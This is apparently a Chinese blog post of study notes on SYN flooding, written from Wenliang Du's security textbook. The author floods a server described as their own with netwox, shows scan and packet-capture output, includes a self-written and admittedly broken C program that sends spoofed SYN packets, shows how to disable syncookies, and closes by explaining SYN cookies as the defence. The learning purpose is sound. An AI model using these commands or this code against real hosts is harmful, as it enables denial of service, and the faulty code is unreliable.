來源:《Computer Security》A Hands-on Approach — Wenliang Du
所有的代碼/文檔見:github
知曉點套接字編程:unix網(wǎng)絡編程 前五章
了解TCP的三次握手:實戰(zhàn)!我用 Wireshark 讓你“看見“ TCP
明白數(shù)據(jù)封裝和解封裝過程: MAC首部 IP首部 TCP首部介紹
明白上面鏈接中的內容,看本文so easy。下圖是SYN flooding Attack的主要思路。
攻擊者修改SYN包中的源地址(為隨機地址),目標地址是受攻擊的服務器。當服務器收到SYN包的時候,它使用一種數(shù)據(jù)結構Transmission Control Block(TCB),來存儲這次連接的信息,放入隊列。此時,連接并沒有建立。目前僅僅是三次握手的第一步完成,服務器狀態(tài)為半開連接。服務器向客戶端發(fā)送SYN+ACK包。由于源地址為隨機地址,可能不存在,沒有客戶端向服務器發(fā)送正確的ACK包。過段時間,該TCB會超時消失。
攻擊者可以在短時間內發(fā)送大量的偽SYN包,占用服務器的TCB隊列資源,致使正常用戶無法連接。
如果你問:一個SYN每次重復發(fā)送幾個SYN+ACK?TCB queue大小如何設置?我不知道,沒有去搜索驗證。
下面我們使用netwox工具,分別從家庭局域網(wǎng)內的主機和服務器,向一個搭建wordpress的目標服務器(myself),發(fā)送偽SYN包。
補充一個,使用自己構建的代碼,發(fā)起SYN flooding攻擊。(自行構建的代碼有問題,目前我不知問題在哪)
最后介紹防御措施。
由于NET地址轉換的緣故,非局域網(wǎng)內Random IPs并不能用不同的IP給目標服務器發(fā)送偽SYN包。但是Random IPs確可以使得發(fā)送主機不會接收到SYN+ACK包。即,雖然可以發(fā)起SYN flooding攻擊,但是固定IP很容易被防御,可以參見:DDOS 攻擊的防范教程 。
尋找對象–》49.234.233.219:80
// 查看當前局域網(wǎng)有哪些主機
--命令
ifconfig --》 192.168.1.108
nmap -sP 192.168.1.108/24
---結果
Starting Nmap 7.60 ( https://nmap.org ) at 2020-07-22 12:34 CST
Nmap scan report for _gateway (192.168.1.1)
Host is up (0.0020s latency).
Nmap scan report for 192.168.1.101 --》手機
Host is up (0.022s latency).
Nmap scan report for dacao-X555LJ (192.168.1.108) --》本機
Host is up (0.00010s latency).
Nmap done: 256 IP addresses (3 hosts up) scanned in 2.45 seconds
-----------------------------------
-----------------------------------
// 機器有哪些端口開放
--命令
nmap 192.168.1.101 --》查看我的手機,沒有端口開放
nmap 49.234.233.219 --》查看我的服務器
--結果
Nmap scan report for 49.234.233.219
Host is up (0.026s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http ---》這個對應的是搭建的wordpress
5000/tcp closed upnp
-------------------------------------
-------------------------------------
家庭局域網(wǎng)并不適合向外發(fā)起SYN flooding
。因為NET地址轉換,導致之前隨意生成的源地址失效。在服務端看來,從家庭局域網(wǎng)發(fā)出的SYN flooding
的源地址都相同,特征明顯,相對而言比較容易被屏蔽。
--SYN flooding命令
sudo apt install netwox
sudo netwox 76 -i 49.234.233.219 -p 80 -s raw
--結果查看命令
sudo netstat -tnap | grep ":80" | wc -l
--結果
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 5045/nginx: master
tcp 0 0 172.17.0.4:80 103.40.221.154:36262 SYN_RECV -
tcp 0 0 172.17.0.4:80 103.40.221.154:33157 SYN_RECV -
tcp 0 0 172.17.0.4:80 103.40.221.154:17575 SYN_RECV -
tcp 0 0 172.17.0.4:80 103.40.221.154:31834 SYN_RECV -
tcp 0 0 172.17.0.4:80 103.40.221.154:40167 SYN_RECV -
tcp 0 0 172.17.0.4:80 103.40.221.154:58454 SYN_RECV -
tcp 0 0 172.17.0.4:80 103.40.221.154:57235 SYN_RECV -
但是尷尬的是Foreign Address
中的IP地址相同。推測下,可能是NET地址轉換導致。
網(wǎng)絡地址轉換NAT原理(易于理解) 網(wǎng)絡地址端口轉換NAPT (Port-Level NAT)
,它將內部連接映射到外部網(wǎng)絡中的一個單獨的IP地址上,同時在該地址上加上一個由NAT設備選定的端口號。(正如上面 Foreign Address
所示,IP相同,當端口不同)
那上面103.40.221.154
是路由器的公有IP? 打開ip138,發(fā)現(xiàn)并不是。。
我們嘗試追蹤下路由過程,如下所示,并沒有什么發(fā)現(xiàn)。
traceroute 查看路由信息 下面我們只能看到每一跳的網(wǎng)關情況。一些行以星號表示,出現(xiàn)這樣的情況,可能是防火墻封掉了 ICMP 的返回信息,所以得不到什么相關的數(shù)據(jù)包返回數(shù)據(jù)。
--命令
sudo apt install traceroute
traceroute 49.234.233.219
--結果
traceroute to 49.234.233.219 (49.234.233.219), 30 hops max, 60 byte packets
1 _gateway (192.168.1.1) 8.574 ms 8.570 ms 8.561 ms
2 10.131.32.1 (10.131.32.1) 19.337 ms 19.323 ms 19.310 ms
3 172.20.0.101 (172.20.0.101) 13.009 ms 172.20.0.254 (172.20.0.254) 19.256 ms 19.250 ms
4 172.31.15.13 (172.31.15.13) 19.251 ms 19.228 ms 172.31.16.13 (172.31.16.13) 20.484 ms
5 172.31.7.9 (172.31.7.9) 14.031 ms 13.993 ms 14.416 ms
6 10.4.40.1 (10.4.40.1) 16.647 ms 6.696 ms 8.957 ms
7 * 10.4.19.1 (10.4.19.1) 35.333 ms 14.535 ms
8 * * *
9 * * 43.249.135.50 (43.249.135.50) 17.501 ms
10 * * 43.249.135.50 (43.249.135.50) 17.316 ms
11 * * *
12 * * *
這時候,發(fā)現(xiàn)一個比較尷尬的事情,ip138 返回給我的是路由器的私有地址,和登錄路由查詢的結果相同。
私有網(wǎng)段,有A,B,C三個地址段:
- 10.0.0.0/8:10.0.0.0-10.255.255.255.
- 172.16.0.0/12:172.16.0.0-172.31.255.255.
- 192.168.0.0/16:192.168.0.0-192.168.255.255.
這個“家里”路由器沒有公共IP,走的是上面103.40.221.154
IP。
抓包神器 tcpdump 使用介紹 。通過抓取的包,我們很容易看出每次的src IP都不同。
# 命令
sudo tcpdump -nn dst 49.234.233.219 -s0 -c 3
# 結果
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on wlp3s0, link-type EN10MB (Ethernet), capture size 262144 bytes
16:30:30.029463 IP 159.163.149.149.49071 > 49.234.233.219.80: Flags [S], seq 1855945176, win 1500, length 0
16:30:30.029637 IP 32.176.8.116.34734 > 49.234.233.219.80: Flags [S], seq 535911327, win 1500, length 0
16:30:30.029671 IP 216.65.149.163.39905 > 49.234.233.219.80: Flags [S], seq 3269198780, win 1500, length 0
3 packets captured
281 packets received by filter
271 packets dropped by kernel
所以我用另一臺服務器(有公有IP,34.92.249.231),重復上面的實驗, Foreign Address
還是IP相同,端口不同。這是為什么呢?難道服務器也走NET地址轉換?
--SYN flooding命令
sudo apt install netwox
sudo netwox 76 -i 49.234.233.219 -p 80 -s raw
--目標服務器結果
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 5045/nginx: master
tcp 0 0 172.17.0.4:80 34.92.249.231:26490 SYN_RECV -
tcp 0 0 172.17.0.4:80 34.92.249.231:34884 SYN_RECV -
下面的程序,有問題,tcpdump
抓取不到內容。我目前不知道問題在哪。
sudo tcpdump -nn dst 49.234.233.219 and port 80 -s0 -c 3
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <errno.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <time.h>
#include <unistd.h>
#define DEST_IP "49.234.233.219"
#define DEST_PORT 80
#define PACKET_LEN 1000
// 我從網(wǎng)上找了一份計算校驗和代碼
// TCP:首部和數(shù)據(jù)校驗和,整體長度;IP:首部校驗和,首部長度:ihl;
unsigned short in_cksum(unsigned short *addr, int len)
{
unsigned int sum = 0, nleft = len;
unsigned short answer = 0;
unsigned short *w = addr;
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
if (nleft == 1) {
*(__u_char *) (&answer) = *(__u_char *) w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);//將高16bit與低16bit相加
sum += (sum >> 16);//將進位到高位的16bit與低16bit 再相加
answer = (unsigned short)(~sum);
return (answer);
}
void send_raw_ip_packet(struct iphdr *ippacket){
// 創(chuàng)建一個原生套接字
// IPPROTO_RAW表明我們將支持ip頭部,系統(tǒng)不需要提供IP頭部
// IPPROTO_RAW同時表明允許IP_HDRINCL
int sock = socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
// int enable = 1;
// setsockopt(sock,IPPROTO_IP,IP_HDRINCL,&enable,sizeof(enable));
// 提供目的地選項
// sockaddr_in提供的結構體,用來構建IP頭;現(xiàn)在IP頭已經(jīng)有了,應當不用提供這樣的結構體
// 書上說:提供目的地址,幫助內核獲得目的IP對應的MAC地址
struct sockaddr_in dest_info;
dest_info.sin_family = AF_INET;
dest_info.sin_addr.s_addr = ippacket->daddr;
// struct tcphdr *tcpheader = (struct tcphdr *)(ippacket + sizeof(struct iphdr));
struct tcphdr *tcpheader = (struct tcphdr *)(ippacket + ippacket->ihl*4);
printf("des:port -- %s:%uh\n",inet_ntoa(dest_info.sin_addr),ntohs(tcpheader->dest));
// 發(fā)送包
sendto(sock,ippacket,ntohs(ippacket->tot_len),0,(struct sockaddr *)(&dest_info),sizeof(dest_info));
close(sock);
}
int main(void){
// IPv4,數(shù)據(jù)包長度不超多65535
// 超過MTU=1500,要分片
// 湊個整,這里定義PACKET_LEN=1000
char buffer[PACKET_LEN];
struct iphdr *ipheader = (struct iphdr *)(buffer);
struct tcphdr *tcpheader = (struct tcphdr *)(buffer + sizeof(struct iphdr));
// struct tcphdr *tcpheader = (struct tcphdr *)(ippacket + ippacket->ihl*4);
// 初始化隨機數(shù)發(fā)生器
srand(time(0));
while (1){
bzero(buffer,sizeof(buffer));
// 填充TCP頭部
tcpheader->source = rand();
tcpheader->dest = htons(DEST_PORT);
tcpheader->seq = 0;
tcpheader->ack_seq = 0;
tcpheader->doff = 5;
tcpheader->fin=0;
tcpheader->syn=1;
tcpheader->rst=0;
tcpheader->psh=0;
tcpheader->ack=0;
tcpheader->urg=0;
tcpheader->window = htons(666);
tcpheader->check = in_cksum((unsigned short *)tcpheader,sizeof(tcpheader));
tcpheader->urg_ptr = 0;
// 填充IP頭部
ipheader->ihl = 5;
ipheader->version = 4;
ipheader->tos = 0;
ipheader->tot_len = PACKET_LEN;
ipheader->id = htons(PACKET_LEN);
ipheader->frag_off = 0;
ipheader->ttl = 255;
ipheader->protocol = IPPROTO_TCP;
ipheader->check = 0;
ipheader->saddr = rand();
ipheader->daddr = inet_addr(DEST_IP);
ipheader->check = in_cksum((unsigned short *)ipheader,ipheader->ihl);
// printf("ready to send!");
// struct tcphdr *tcpheader = (struct tcphdr *)(buffer + sizeof(struct iphdr));
// printf("port:%uh\n",ntohs(tcpheader->dest));
send_raw_ip_packet((struct iphdr*)buffer);
}
return 0;
}
參考:深入淺出TCP中的SYN-Cookies 、SYN cookie --wiki
// 查看和關閉防御
sudo sysctl -a | grep net.ipv4.tcp_syncookies
sudo sysctl -w net.ipv4.tcp_syncookies=0
僅僅從概念上理解。
在ubuntu中,SYN cookie策略是默認開啟的。只有當服務器出現(xiàn)大量半連接的時候,SYN cookie策略才會被觸發(fā)。SYN cookie機制的想法是在服務器僅收到SYN之后根本不分配資源;僅當服務器收到最終的ACK數(shù)據(jù)包時才分配資源。這解決了SYN泛洪攻擊問題。
由于服務器不保留有關SYN數(shù)據(jù)包的任何信息,因此無法驗證是否接收到的ACK數(shù)據(jù)包是先前SYN ACK數(shù)據(jù)包的結果,或者僅僅是欺騙ACK數(shù)據(jù)包。欺騙性ACK數(shù)據(jù)包泛洪攻擊服務器,每個ACK數(shù)據(jù)包都會導致服務器分配寶貴的資源。此攻擊可能比SYN泛洪攻擊更具危害性。SYN Cookies的想法為該問題提供了一種優(yōu)雅的解決方案。
SYN cookie是TCP服務器對初始TCP序列號的特殊選擇。服務器收到SYN數(shù)據(jù)包后,它使用只有服務器知道的密鑰,根據(jù)數(shù)據(jù)包中的信息(包括IP地址,端口號和序列號)計算出密鑰散列。該哈希值H將用作放置在發(fā)送回客戶端的服務器SYN + ACK數(shù)據(jù)包中的初始序列號。值H稱為SYN cookie。如果客戶端是攻擊者,則數(shù)據(jù)包將不會到達攻擊者(在SYN泛洪攻擊中,客戶端IP地址是偽造的)。如果客戶端不是攻擊者,它將獲取數(shù)據(jù)包,并發(fā)送回ACK數(shù)據(jù)包。服務器收到此ACK數(shù)據(jù)包(ack=H+1)后,可以通過重新計算cookie來檢查確認字段內的序列號是否有效。
根據(jù)數(shù)據(jù)包中的信息。驗證將避免出現(xiàn)ACK flonding。并確保ACK數(shù)據(jù)包是先前SYN + ACK數(shù)據(jù)包的結果。由于攻擊者不知道計算cookie所用秘鑰,因此他們無法輕松偽造有效的cookie。使用SYN cookie機制,可以有效地抵制SYN泛洪攻擊。盡管攻擊者仍然可以向服務器泛洪許多SYN數(shù)據(jù)包,但他們將無法消耗服務器資源,因為什么都沒有保存。攻擊者還可以向服務器發(fā)送許多ACK數(shù)據(jù)包,但是由于他們在確認字段中沒有有效的SYN cookie,因此它們不會觸發(fā)服務器上的資源分配。
SYN Cookies 的使用不與任何協(xié)議定義沖突,照理來說它該和所有的 TCP 實現(xiàn)兼容。然而,當 SYN Cookies 使用的時候,會發(fā)生兩種值得注意的變化:首先,服務器只能編碼八種 MSS 數(shù)值,因為只有 3 位二進制空間可用。其次,這個服務器必須拒絕所有的 TCP 選用項,例如大型窗口和時間戳,因為服務器會在信息被用其他方式存儲時丟棄 SYN 隊列條目。盡管這些限制將不可避免地導致一個不如最佳的體驗,它們的效果很少被客戶端注意到——這些改變只在被攻擊時值得注意。在這樣的情況下,犧牲 TCP 選項來保護連接一般被認為是合乎情理的。